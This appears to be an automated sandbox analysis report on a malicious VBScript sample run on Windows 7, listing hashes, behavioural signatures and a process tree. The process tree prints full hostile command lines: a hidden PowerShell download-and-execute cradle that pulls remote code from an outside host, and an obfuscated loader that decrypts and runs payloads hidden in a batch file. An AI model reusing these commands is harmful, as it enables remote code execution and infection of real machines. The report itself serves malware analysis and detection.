Analysis
-
max time kernel
149s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
26-11-2024 22:52
Static task
static1
Behavioral task
behavioral1
Sample
7166_output.vbs
Resource
win7-20240903-en
windows7-x64
10 signatures
150 seconds
General
-
Target
7166_output.vbs
-
Size
60KB
-
MD5
dcaadf5b6a871821a09e8be7f12603b0
-
SHA1
49c943609633112b80fe7b50c79ca6eb072eb3be
-
SHA256
407ed762a35023eb5eb69738dd20a7c23ac03e187717029a0712b1826750d549
-
SHA512
e18a9bda8f0efeb8bc490b320f86b14a7bc3fb667af4c193b9159d780aabe11da48bec08a6d605f2f08c65d661b5f8e572bf52e5fd712735196d46ea68a15db8
-
SSDEEP
1536:akm3NbS839HXCQHXFNx7X+xW7lflsAmPUoLlXBCbB:aLl3pCQ35+EDu3y
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2396 powershell.exe 2776 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid Process 2776 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exetaskmgr.exepid Process 2396 powershell.exe 2776 powershell.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
taskmgr.exepid Process 2340 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exetaskmgr.exedescription pid Process Token: SeDebugPrivilege 2396 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2340 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid Process 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid Process 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe 2340 taskmgr.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.execmd.exedescription pid Process procid_target PID 2120 wrote to memory of 2396 2120 WScript.exe 30 PID 2120 wrote to memory of 2396 2120 WScript.exe 30 PID 2120 wrote to memory of 2396 2120 WScript.exe 30 PID 2120 wrote to memory of 2632 2120 WScript.exe 33 PID 2120 wrote to memory of 2632 2120 WScript.exe 33 PID 2120 wrote to memory of 2632 2120 WScript.exe 33 PID 2632 wrote to memory of 2776 2632 cmd.exe 35 PID 2632 wrote to memory of 2776 2632 cmd.exe 35 PID 2632 wrote to memory of 2776 2632 cmd.exe 35 PID 2632 wrote to memory of 2776 2632 cmd.exe 35
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7166_output.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2396
-
-
C:\Windows\System32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DK2yqtn/8WWLFGdN0SGSXoqb0xwC458hY3mEb0Z8Op4='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Tn8+JuQ0zcIx9j+6ZeLoqQ=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2340
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5eef9239b6e6433e968d7328eb78e5aa4
SHA100ea660bb2189b9e43a4fa2c7f971bdee84701f3
SHA25615587d9e6274cbe0c11a4f3c45f80d677d76b74840cbe53ee77e6387808e48c2
SHA5128cc45b3dec7c7bf8f4c2f621bfd531a65a6e457f20a5d0bf887afc4eaa6a2364fa59de60ffdf72dc7950b7a7148261783e959d9c3cf28dcc496f1752501d828d
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0RD64078V6DWGIX3DB9N.temp
Filesize7KB
MD5b123c9beb3edca797fcf34b18c387d32
SHA1a1c62c359a3d5f6a47ec85e2f6566b4ced03afa7
SHA2566aea9ec6bdf411bcc8f6c96ade62f1ff1abf32c583ad456974a7847275f25213
SHA512007f17c67da93add5d2c3e58b7b945df3533959e090e46c149c5baa5c1044f338b889952d836223124b257b23d3e5fd6e04b4a7a77d04eeb005cee2d7f599442